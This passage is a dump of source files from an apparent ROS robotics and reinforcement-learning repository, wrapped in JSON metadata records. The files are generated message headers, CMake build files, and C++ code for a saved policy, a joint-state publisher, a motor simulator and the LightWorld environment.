"no_license", "max_line_length": 441, "num_lines": 189, "path": "/devel/include/rl_msgs/RLAction.h", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "// Generated by gencpp from file rl_msgs/RLAction.msg\n// DO NOT EDIT!\n\n\n#ifndef RL_MSGS_MESSAGE_RLACTION_H\n#define RL_MSGS_MESSAGE_RLACTION_H\n\n\n#include <string>\n#include <vector>\n#include <map>\n\n#include <ros/types.h>\n#include <ros/serialization.h>\n#include <ros/builtin_message_traits.h>\n#include <ros/message_operations.h>\n\n\nnamespace rl_msgs\n{\ntemplate <class ContainerAllocator>\nstruct RLAction_\n{\n typedef RLAction_<ContainerAllocator> Type;\n\n RLAction_()\n : action(0) {\n }\n RLAction_(const ContainerAllocator& _alloc)\n : action(0) {\n (void)_alloc;\n }\n\n\n\n typedef int32_t _action_type;\n _action_type action;\n\n\n\n\n\n typedef boost::shared_ptr< ::rl_msgs::RLAction_<ContainerAllocator> > Ptr;\n typedef boost::shared_ptr< ::rl_msgs::RLAction_<ContainerAllocator> const> ConstPtr;\n\n}; // struct RLAction_\n\ntypedef ::rl_msgs::RLAction_<std::allocator<void> > RLAction;\n\ntypedef boost::shared_ptr< ::rl_msgs::RLAction > RLActionPtr;\ntypedef boost::shared_ptr< ::rl_msgs::RLAction const> RLActionConstPtr;\n\n// constants requiring out of line definition\n\n\n\ntemplate<typename ContainerAllocator>\nstd::ostream& operator<<(std::ostream& s, const ::rl_msgs::RLAction_<ContainerAllocator> & v)\n{\nros::message_operations::Printer< ::rl_msgs::RLAction_<ContainerAllocator> >::stream(s, \"\", v);\nreturn s;\n}\n\n} // namespace rl_msgs\n\nnamespace ros\n{\nnamespace message_traits\n{\n\n\n\n// BOOLTRAITS {'IsFixedSize': True, 'IsMessage': True, 'HasHeader': False}\n// {'rl_msgs': ['/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg'], 'std_msgs': ['/opt/ros/melodic/share/std_msgs/cmake/../msg']}\n\n// !!!!!!!!!!! ['__class__', '__delattr__', '__dict__', '__doc__', '__eq__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_parsed_fields', 'constants', 'fields', 'full_name', 'has_header', 'header_present', 'names', 'package', 'parsed_fields', 'short_name', 'text', 'types']\n\n\n\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLAction_<ContainerAllocator> >\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLAction_<ContainerAllocator> const>\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLAction_<ContainerAllocator> >\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLAction_<ContainerAllocator> const>\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLAction_<ContainerAllocator> >\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLAction_<ContainerAllocator> const>\n : FalseType\n { };\n\n\ntemplate<class ContainerAllocator>\nstruct MD5Sum< ::rl_msgs::RLAction_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"b028501ac85c840a01d50342b4cc9b6e\";\n }\n\n static const char* value(const ::rl_msgs::RLAction_<ContainerAllocator>&) { return value(); }\n static const uint64_t static_value1 = 0xb028501ac85c840aULL;\n static const uint64_t static_value2 = 0x01d50342b4cc9b6eULL;\n};\n\ntemplate<class ContainerAllocator>\nstruct DataType< ::rl_msgs::RLAction_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"rl_msgs/RLAction\";\n }\n\n static const char* value(const ::rl_msgs::RLAction_<ContainerAllocator>&) { return value(); }\n};\n\ntemplate<class ContainerAllocator>\nstruct Definition< ::rl_msgs::RLAction_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"# Message for describing an action in RL\\n\\\n\\n\\\nint32 action\\n\\\n\";\n }\n\n static const char* value(const ::rl_msgs::RLAction_<ContainerAllocator>&) { return value(); }\n};\n\n} // namespace message_traits\n} // namespace ros\n\nnamespace ros\n{\nnamespace serialization\n{\n\n template<class ContainerAllocator> struct Serializer< ::rl_msgs::RLAction_<ContainerAllocator> >\n {\n template<typename Stream, typename T> inline static void allInOne(Stream& stream, T m)\n {\n stream.next(m.action);\n }\n\n ROS_DECLARE_ALLINONE_SERIALIZER\n }; // struct RLAction_\n\n} // namespace serialization\n} // namespace ros\n\nnamespace ros\n{\nnamespace message_operations\n{\n\ntemplate<class ContainerAllocator>\nstruct Printer< ::rl_msgs::RLAction_<ContainerAllocator> >\n{\n template<typename Stream> static void stream(Stream& s, const std::string& indent, const ::rl_msgs::RLAction_<ContainerAllocator>& v)\n {\n s << indent << \"action: \";\n Printer<int32_t>::stream(s, indent + \" \", v.action);\n }\n};\n\n} // namespace message_operations\n} // namespace ros\n\n#endif // RL_MSGS_MESSAGE_RLACTION_H\n" }, { "alpha_fraction": 0.7804877758026123, "alphanum_fraction": 0.7804877758026123, "avg_line_length": 50.25, "blob_id": "7b811105ddeb5d6231bb8b5acde4376c4b23d510", "content_id": "bdcbb9fd3b2e2a954ad8d18580368520701e5c90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 205, "license_type": "no_license", "max_line_length": 100, "num_lines": 4, "path": "/devel/share/rl_msgs/cmake/rl_msgs-msg-paths.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# generated from genmsg/cmake/pkg-msg-paths.cmake.develspace.in\n\nset(rl_msgs_MSG_INCLUDE_DIRS \"/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg\")\nset(rl_msgs_MSG_DEPENDENCIES std_msgs)\n" }, { "alpha_fraction": 0.5638216733932495, "alphanum_fraction": 0.5668789744377136, "avg_line_length": 22.363094329833984, "blob_id": "c5dbc6fad2536e5b928959066f3e9a453e1c0561", "content_id": "fff02928d22460c17087cf1bd56c3f38c89a8736", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3925, "license_type": "no_license", "max_line_length": 77, "num_lines": 168, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Agent/SavedPolicy.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_agent/SavedPolicy.hh>\n#include <algorithm>\n\nSavedPolicy::SavedPolicy(int numactions, const char* filename):\n numactions(numactions)\n{\n\n ACTDEBUG = false;\n LOADDEBUG = false;\n loaded = false;\n\n loadPolicy(filename);\n\n \n}\n\nSavedPolicy::~SavedPolicy() {}\n\nint SavedPolicy::first_action(const std::vector<float> &s) {\n\n if (ACTDEBUG){\n cout << \"First - in state: \";\n printState(s);\n cout << endl;\n }\n\n // Get action values\n std::vector<float> &Q_s = Q[canonicalize(s)];\n\n // Choose an action\n const std::vector<float>::iterator a =\n std::max_element(Q_s.begin(), Q_s.end()); // Choose maximum\n\n if (ACTDEBUG){\n cout << \" act: \" << (a-Q_s.begin()) << \" val: \" << *a << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct \n\t << \" val: \" << Q_s[iAct] << endl;\n }\n cout << \"Took action \" << (a-Q_s.begin()) << \" from state \";\n printState(s);\n cout << endl;\n }\n\n return a - Q_s.begin();\n}\n\nint SavedPolicy::next_action(float r, const std::vector<float> &s) {\n\n if (ACTDEBUG){\n cout << \"Next: got reward \" << r << \" in state: \";\n printState(s);\n cout << endl;\n }\n\n // Get action values\n std::vector<float> &Q_s = Q[canonicalize(s)];\n const std::vector<float>::iterator max =\n std::max_element(Q_s.begin(), Q_s.end());\n\n // Choose an action\n const std::vector<float>::iterator a = max;\n\n if (ACTDEBUG){\n cout << \" act: \" << (a-Q_s.begin()) << \" val: \" << *a << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct \n\t << \" val: \" << Q_s[iAct] << endl;\n }\n cout << \"Took action \" << (a-Q_s.begin()) << \" from state \";\n printState(s);\n cout << endl;\n }\n\n return a - Q_s.begin();\n}\n\nvoid SavedPolicy::last_action(float r) {\n\n if (ACTDEBUG){\n cout << \"Last: got reward \" << r << endl;\n }\n\n}\n\nSavedPolicy::state_t SavedPolicy::canonicalize(const std::vector<float> &s) {\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s);\n state_t retval = &*result.first; // Dereference iterator then get pointer \n if (result.second) { // s is new, so initialize Q(s,a) for all a\n if (loaded){\n cout << \"State unknown in policy!!!\" << endl;\n for (unsigned i = 0; i < s.size(); i++){\n cout << s[i] << \", \";\n }\n cout << endl;\n }\n std::vector<float> &Q_s = Q[retval];\n Q_s.resize(numactions,0.0);\n }\n return retval; \n}\n\n\n\nvoid SavedPolicy::printState(const std::vector<float> &s){\n for (unsigned j = 0; j < s.size(); j++){\n cout << s[j] << \", \";\n }\n}\n\n\n\nvoid SavedPolicy::seedExp(std::vector<experience> seeds){\n return;\n}\n\n\nvoid SavedPolicy::loadPolicy(const char* filename){\n\n ifstream policyFile(filename, ios::in | ios::binary);\n\n // first part, save the vector size\n int fsize;\n policyFile.read((char*)&fsize, sizeof(int));\n if (LOADDEBUG) cout << \"Numfeats loaded: \" << fsize << endl;\n\n // save numactions\n int nact;\n policyFile.read((char*)&nact, sizeof(int));\n\n if (nact != numactions){\n cout << \"this policy is not valid loaded nact: \" << nact \n << \" was told: \" << numactions << endl;\n exit(-1);\n }\n\n // go through all states, loading q values\n while(!policyFile.eof()){\n std::vector<float> state;\n state.resize(fsize, 0.0);\n\n // load state\n policyFile.read((char*)&(state[0]), sizeof(float)*fsize);\n if (LOADDEBUG){\n cout << \"load policy for state: \";\n printState(state);\n }\n\n state_t s = canonicalize(state);\n\n if (policyFile.eof()) break;\n\n // load q values\n policyFile.read((char*)&(Q[s][0]), sizeof(float)*numactions);\n \n if (LOADDEBUG){\n cout << \"Q values: \" << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct << \" val: \" << Q[s][iAct] << endl;\n }\n }\n }\n \n policyFile.close();\n cout << \"Policy loaded!!!\" << endl;\n loaded = true;\n}\n" }, { "alpha_fraction": 0.6638965606689453, "alphanum_fraction": 0.6906740665435791, "avg_line_length": 24.785715103149414, "blob_id": "e702eaa916d6f6a4d7a106cbe85cdbcdb4554489", "content_id": "d8a8e98c902b3a5aef1fc70d6a3de30d6ab26368", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1083, "license_type": "no_license", "max_line_length": 71, "num_lines": 42, "path": "/src/mantis_model/src/joint_state_pub.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <ros/ros.h>\n#include <sensor_msgs/JointState.h>\n\nsensor_msgs::JointState joint_state;\nros::Publisher pub_joints;\n\nvoid timerCallback(const ros::TimerEvent& event)\n{\n double constant_rate = 2.0;\n\n joint_state.header.stamp = event.current_real;\n joint_state.position[0] += 0.02 * constant_rate;\n joint_state.position[1] += 0.02 * constant_rate;\n\n joint_state.velocity[0] = constant_rate;\n joint_state.velocity[1] = constant_rate;\n\n joint_state.effort[0] = 5;\n joint_state.effort[1] = 5;\n pub_joints.publish(joint_state);\n}\n\nint main(int argc, char** argv)\n{\n ros::init(argc, argv, \"joint_state_pub\");\n ros::NodeHandle n;\n\n joint_state.header.frame_id = \"base_footprint\";\n joint_state.name.resize(2);\n joint_state.position.resize(2, 0);\n joint_state.velocity.resize(2, 0);\n joint_state.effort.resize(2, 0);\n\n joint_state.name[0] = \"left_wheel_joint\";\n joint_state.name[1] = \"right_wheel_joint\";\n\n pub_joints = n.advertise<sensor_msgs::JointState>(\"joint_states\", 1);\n\n ros::Timer timer = n.createTimer(ros::Duration(0.02), timerCallback);\n\n ros::spin();\n}\n" }, { "alpha_fraction": 0.7407407164573669, "alphanum_fraction": 0.7460317611694336, "avg_line_length": 46.3125, "blob_id": "f1a756eb0d25827008d9222cb8b30d57cfdc4781", "content_id": "d9c7ae1e805ed0d7a4183d9695ca56abdbd386c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 756, "license_type": "no_license", "max_line_length": 73, "num_lines": 16, "path": "/build/gps_sim_project/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"gps_sim_project\")\nset(gps_sim_project_VERSION \"0.0.0\")\nset(gps_sim_project_MAINTAINER \"abc <[email protected]>\")\nset(gps_sim_project_PACKAGE_FORMAT \"1\")\nset(gps_sim_project_BUILD_DEPENDS \"roscpp\" \"ugv_course_libs\" \"tf\")\nset(gps_sim_project_BUILD_EXPORT_DEPENDS \"roscpp\" \"ugv_course_libs\" \"tf\")\nset(gps_sim_project_BUILDTOOL_DEPENDS \"catkin\")\nset(gps_sim_project_BUILDTOOL_EXPORT_DEPENDS )\nset(gps_sim_project_EXEC_DEPENDS \"roscpp\" \"ugv_course_libs\" \"tf\")\nset(gps_sim_project_RUN_DEPENDS \"roscpp\" \"ugv_course_libs\" \"tf\")\nset(gps_sim_project_TEST_DEPENDS )\nset(gps_sim_project_DOC_DEPENDS )\nset(gps_sim_project_URL_WEBSITE \"\")\nset(gps_sim_project_URL_BUGTRACKER \"\")\nset(gps_sim_project_URL_REPOSITORY \"\")\nset(gps_sim_project_DEPRECATED \"\")" }, { "alpha_fraction": 0.7014492750167847, "alphanum_fraction": 0.7014492750167847, "avg_line_length": 13.333333015441895, "blob_id": "6f0e32cf109a665c44f632961b5263ad1ef028d0", "content_id": "7d8abd0c053a6a6079cd9cfcdd0442c8b697311d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 345, "license_type": "no_license", "max_line_length": 65, "num_lines": 24, "path": "/src/roundbot_control/include/roundbot_control/MotorSim.h", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "\n#ifndef MOTORSIM_H_\n#define MOTORSIM_H_\n\nnamespace roundbot_control{\n\nclass MotorSim{\npublic:\n MotorSim(double max_speed, double max_accel, double max_decel);\n\n double iterate(double target_speed, double dt);\nprivate:\n\n double current_speed_;\n\n double max_speed_;\n double max_accel_;\n double max_decel_;\n};\n\n}\n\n\n\n#endif /* MOTORSIM_H_ */\n" }, { "alpha_fraction": 0.7580246925354004, "alphanum_fraction": 0.7580246925354004, "avg_line_length": 39.5, "blob_id": "df097f6c7921ca55195230b4ba15cfba619d3635", "content_id": "92ad028630719f8f91fb3fed010e323fc3d2a75a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 810, "license_type": "no_license", "max_line_length": 67, "num_lines": 20, "path": "/build/rl-texplore-ros-pkg-master/src/rl_env/CMakeFiles/envlib.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/envlib.dir/src/Env/tworooms.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/taxi.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/MountainCar.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/FuelRooms.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/CartPole.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/fourrooms.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/RobotCarVel.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/energyrooms.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/gridworld.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/stocks.cc.o\"\n \"CMakeFiles/envlib.dir/src/Env/LightWorld.cc.o\"\n \"/home/justin/ros_test/devel/lib/libenvlib.pdb\"\n \"/home/justin/ros_test/devel/lib/libenvlib.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/envlib.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.6715205311775208, "alphanum_fraction": 0.6820968985557556, "avg_line_length": 27, "blob_id": "211038a99efd15d79b0429eeed637e3a7a1d306a", "content_id": "bed02599c6ddd2ce8370ce4ea7368cc21c3305d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6524, "license_type": "no_license", "max_line_length": 441, "num_lines": 233, "path": "/devel/include/rl_msgs/RLEnvSeedExperience.h", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "// Generated by gencpp from file rl_msgs/RLEnvSeedExperience.msg\n// DO NOT EDIT!\n\n\n#ifndef RL_MSGS_MESSAGE_RLENVSEEDEXPERIENCE_H\n#define RL_MSGS_MESSAGE_RLENVSEEDEXPERIENCE_H\n\n\n#include <string>\n#include <vector>\n#include <map>\n\n#include <ros/types.h>\n#include <ros/serialization.h>\n#include <ros/builtin_message_traits.h>\n#include <ros/message_operations.h>\n\n\nnamespace rl_msgs\n{\ntemplate <class ContainerAllocator>\nstruct RLEnvSeedExperience_\n{\n typedef RLEnvSeedExperience_<ContainerAllocator> Type;\n\n RLEnvSeedExperience_()\n : from_state()\n , action(0)\n , to_state()\n , reward(0.0)\n , terminal(false) {\n }\n RLEnvSeedExperience_(const ContainerAllocator& _alloc)\n : from_state(_alloc)\n , action(0)\n , to_state(_alloc)\n , reward(0.0)\n , terminal(false) {\n (void)_alloc;\n }\n\n\n\n typedef std::vector<float, typename ContainerAllocator::template rebind<float>::other > _from_state_type;\n _from_state_type from_state;\n\n typedef int32_t _action_type;\n _action_type action;\n\n typedef std::vector<float, typename ContainerAllocator::template rebind<float>::other > _to_state_type;\n _to_state_type to_state;\n\n typedef float _reward_type;\n _reward_type reward;\n\n typedef uint8_t _terminal_type;\n _terminal_type terminal;\n\n\n\n\n\n typedef boost::shared_ptr< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> > Ptr;\n typedef boost::shared_ptr< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> const> ConstPtr;\n\n}; // struct RLEnvSeedExperience_\n\ntypedef ::rl_msgs::RLEnvSeedExperience_<std::allocator<void> > RLEnvSeedExperience;\n\ntypedef boost::shared_ptr< ::rl_msgs::RLEnvSeedExperience > RLEnvSeedExperiencePtr;\ntypedef boost::shared_ptr< ::rl_msgs::RLEnvSeedExperience const> RLEnvSeedExperienceConstPtr;\n\n// constants requiring out of line definition\n\n\n\ntemplate<typename ContainerAllocator>\nstd::ostream& operator<<(std::ostream& s, const ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> & v)\n{\nros::message_operations::Printer< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >::stream(s, \"\", v);\nreturn s;\n}\n\n} // namespace rl_msgs\n\nnamespace ros\n{\nnamespace message_traits\n{\n\n\n\n// BOOLTRAITS {'IsFixedSize': False, 'IsMessage': True, 'HasHeader': False}\n// {'rl_msgs': ['/home/justin/ros_test/src/rl-texplore-ros-pkg-master/src/rl_msgs/msg'], 'std_msgs': ['/opt/ros/melodic/share/std_msgs/cmake/../msg']}\n\n// !!!!!!!!!!! ['__class__', '__delattr__', '__dict__', '__doc__', '__eq__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_parsed_fields', 'constants', 'fields', 'full_name', 'has_header', 'header_present', 'names', 'package', 'parsed_fields', 'short_name', 'text', 'types']\n\n\n\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsFixedSize< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> const>\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct IsMessage< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> const>\n : TrueType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >\n : FalseType\n { };\n\ntemplate <class ContainerAllocator>\nstruct HasHeader< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> const>\n : FalseType\n { };\n\n\ntemplate<class ContainerAllocator>\nstruct MD5Sum< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"e195f7b7c1a41138d96a4af2de05b1b1\";\n }\n\n static const char* value(const ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator>&) { return value(); }\n static const uint64_t static_value1 = 0xe195f7b7c1a41138ULL;\n static const uint64_t static_value2 = 0xd96a4af2de05b1b1ULL;\n};\n\ntemplate<class ContainerAllocator>\nstruct DataType< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"rl_msgs/RLEnvSeedExperience\";\n }\n\n static const char* value(const ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator>&) { return value(); }\n};\n\ntemplate<class ContainerAllocator>\nstruct Definition< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >\n{\n static const char* value()\n {\n return \"# Message that contains a seed experience to initialize the model\\n\\\nfloat32[] from_state\\n\\\nint32 action\\n\\\nfloat32[] to_state\\n\\\nfloat32 reward\\n\\\nbool terminal\\n\\\n\\n\\\n\";\n }\n\n static const char* value(const ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator>&) { return value(); }\n};\n\n} // namespace message_traits\n} // namespace ros\n\nnamespace ros\n{\nnamespace serialization\n{\n\n template<class ContainerAllocator> struct Serializer< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >\n {\n template<typename Stream, typename T> inline static void allInOne(Stream& stream, T m)\n {\n stream.next(m.from_state);\n stream.next(m.action);\n stream.next(m.to_state);\n stream.next(m.reward);\n stream.next(m.terminal);\n }\n\n ROS_DECLARE_ALLINONE_SERIALIZER\n }; // struct RLEnvSeedExperience_\n\n} // namespace serialization\n} // namespace ros\n\nnamespace ros\n{\nnamespace message_operations\n{\n\ntemplate<class ContainerAllocator>\nstruct Printer< ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator> >\n{\n template<typename Stream> static void stream(Stream& s, const std::string& indent, const ::rl_msgs::RLEnvSeedExperience_<ContainerAllocator>& v)\n {\n s << indent << \"from_state[]\" << std::endl;\n for (size_t i = 0; i < v.from_state.size(); ++i)\n {\n s << indent << \" from_state[\" << i << \"]: \";\n Printer<float>::stream(s, indent + \" \", v.from_state[i]);\n }\n s << indent << \"action: \";\n Printer<int32_t>::stream(s, indent + \" \", v.action);\n s << indent << \"to_state[]\" << std::endl;\n for (size_t i = 0; i < v.to_state.size(); ++i)\n {\n s << indent << \" to_state[\" << i << \"]: \";\n Printer<float>::stream(s, indent + \" \", v.to_state[i]);\n }\n s << indent << \"reward: \";\n Printer<float>::stream(s, indent + \" \", v.reward);\n s << indent << \"terminal: \";\n Printer<uint8_t>::stream(s, indent + \" \", v.terminal);\n }\n};\n\n} // namespace message_operations\n} // namespace ros\n\n#endif // RL_MSGS_MESSAGE_RLENVSEEDEXPERIENCE_H\n" }, { "alpha_fraction": 0.5189234018325806, "alphanum_fraction": 0.5412456393241882, "avg_line_length": 25.163461685180664, "blob_id": "0947109f50aebad0cf0de8b3eb2eaf8f008b009e", "content_id": "d7a775a5ff5ca15d149bdf76aa035d2ad65f2311", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10886, "license_type": "no_license", "max_line_length": 290, "num_lines": 416, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/LightWorld.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/**\n The LightWorld domain from\n \"Building Portable Options: Skill Transfer in Reinforcement Learning\"\n by Konidaris and Barto\n*/\n\n#include <rl_env/LightWorld.hh>\n\n\nLightWorld::LightWorld(Random &rand, bool stochastic, int nrooms):\n noisy(stochastic),\n nrooms(nrooms),\n rng(rand),\n s(17),\n ns(s[0]),\n ew(s[1]),\n have_key(s[2]),\n door_open(s[3]),\n room_id(s[4]),\n key_n(s[5]),\n key_e(s[6]),\n key_w(s[7]),\n key_s(s[8]),\n lock_n(s[9]),\n lock_e(s[10]),\n lock_w(s[11]),\n lock_s(s[12]),\n door_n(s[13]),\n door_e(s[14]),\n door_w(s[15]),\n door_s(s[16])\n{\n\n LWDEBUG = false;\n MAX_SENSE = 10;\n\n\n totalVisited = 0;\n keyVisited = 0;\n lockVisited = 0;\n doorVisited = 0;\n haveKey = 0;\n doorOpen = 0;\n leaveRoom = 0;\n pressKey = 0;\n pressLockCorrect = 0;\n pressLockIncorrect = 0;\n pressDoor = 0;\n pressOther = 0;\n pickupKeyCorrect = 0;\n pickupKeyIncorrect = 0;\n pickupLock = 0;\n pickupDoor = 0;\n pickupOther = 0;\n\n reset();\n}\n\n\n\nLightWorld::~LightWorld() { }\n\n\nconst std::vector<float> &LightWorld::sensation() const {\n if (LWDEBUG) print_map();\n return s;\n}\n\n\nint LightWorld::applyNoise(int action){\n switch(action) {\n case NORTH:\n case SOUTH:\n return rng.bernoulli(0.9) ? action : (rng.bernoulli(0.5) ? EAST : WEST);\n case EAST:\n case WEST:\n return rng.bernoulli(0.9) ? action : (rng.bernoulli(0.5) ? NORTH : SOUTH);\n case PRESS:\n case PICKUP:\n return rng.bernoulli(0.9) ? action : -1;\n default:\n return action;\n }\n}\n\nfloat LightWorld::apply(int origAction) {\n\n int reward = 0;\n\n int action = origAction;\n if (noisy)\n action = applyNoise(origAction);\n\n if (action == NORTH){\n if (((ns < rooms[room_id].height-2) || (rooms[room_id].lock_ns == rooms[room_id].height-1 && ew == rooms[room_id].lock_ew) || (rooms[room_id].door_ns == rooms[room_id].height-1 && ew == rooms[room_id].door_ew)) && ew > 0 && ew < rooms[room_id].width-1 && ns < rooms[room_id].height-1) {\n ns++;\n } else if (door_open && ns == rooms[room_id].door_ns && ew == rooms[room_id].door_ew && rooms[room_id].door_ns == rooms[room_id].height-1){\n leaveRoom++;\n room_id++;\n if (room_id >= nrooms) room_id = 0;\n have_key = false;\n door_open = false;\n if (rooms[room_id].key_ns < 0) have_key = true;\n ns = 0;\n resetKey();\n reward+=10;\n }\n }\n if (action == EAST){\n if (((ew < rooms[room_id].width-2) || (rooms[room_id].lock_ew == rooms[room_id].width-1 && ns == rooms[room_id].lock_ns) || (rooms[room_id].door_ew == rooms[room_id].width-1 && ns == rooms[room_id].door_ns)) && ns > 0 && ns < rooms[room_id].height-1 && ew < rooms[room_id].width-1) {\n ew++;\n } else if (door_open && ew == rooms[room_id].door_ew && ns == rooms[room_id].door_ns && rooms[room_id].door_ew == rooms[room_id].width-1){\n leaveRoom++;\n room_id++;\n if (room_id >= nrooms) room_id = 0;\n have_key = false;\n door_open = false;\n if (rooms[room_id].key_ns < 0) have_key = true;\n ew = 0;\n if (room_id == 1) ns = 3;\n resetKey();\n reward+=10;\n }\n }\n if (action == SOUTH){\n if (((ns > 1) || (rooms[room_id].lock_ns == 0 && ew == rooms[room_id].lock_ew) || (rooms[room_id].door_ns == 0 && ew == rooms[room_id].door_ew)) && ew > 0 && ew < rooms[room_id].width-1 && ns > 0) {\n ns--;\n } else if (door_open && ns == rooms[room_id].door_ns && ew == rooms[room_id].door_ew && rooms[room_id].door_ns == 0){\n leaveRoom++;\n room_id++;\n if (room_id >= nrooms) room_id = 0;\n have_key = false;\n door_open = false;\n if (rooms[room_id].key_ns < 0) have_key = true;\n ns = rooms[room_id].height-1;\n resetKey();\n reward+=10;\n }\n }\n if (action == WEST){\n if (((ew > 1) || (rooms[room_id].lock_ew == 0 && ns == rooms[room_id].lock_ns) || (rooms[room_id].door_ew == 0 && ns == rooms[room_id].door_ns)) && ns > 0 && ns < rooms[room_id].height-1 && ew > 0) {\n ew--;\n } else if (door_open && ew == rooms[room_id].door_ew && ns == rooms[room_id].door_ns && rooms[room_id].door_ew == 0){\n leaveRoom++;\n room_id++;\n if (room_id >= nrooms) room_id = 0;\n have_key = false;\n door_open = false;\n if (rooms[room_id].key_ns < 0) have_key = true;\n ew = rooms[room_id].width-1;\n resetKey();\n reward+=10;\n }\n }\n\n\n if (action == PICKUP){\n if (ns == rooms[room_id].key_ns && ew == rooms[room_id].key_ew){\n if (!have_key) pickupKeyCorrect++;\n else pickupKeyIncorrect++;\n have_key = true;\n }\n else if (ns == rooms[room_id].lock_ns && ew == rooms[room_id].lock_ew)\n pickupLock++;\n else if (ns == rooms[room_id].door_ns && ew == rooms[room_id].door_ew)\n pickupDoor++;\n else\n pickupOther++;\n }\n\n if (action == PRESS){\n if (ns == rooms[room_id].lock_ns && ew == rooms[room_id].lock_ew){\n if (have_key) {\n if (!door_open) pressLockCorrect++;\n else pressLockIncorrect++;\n door_open = true;\n } else {\n pressLockIncorrect++;\n }\n }\n else if (ns == rooms[room_id].key_ns && ew == rooms[room_id].key_ew)\n pressKey++;\n else if (ns == rooms[room_id].door_ns && ew == rooms[room_id].door_ew)\n pressDoor++;\n else\n pressOther++;\n }\n\n updateSensors();\n\n return reward;\n\n}\n\nvoid LightWorld::updateSensors() {\n\n // set all to 0\n key_n = 0;\n key_e = 0;\n key_w = 0;\n key_s = 0;\n lock_n = 0;\n lock_e = 0;\n lock_w = 0;\n lock_s = 0;\n door_n = 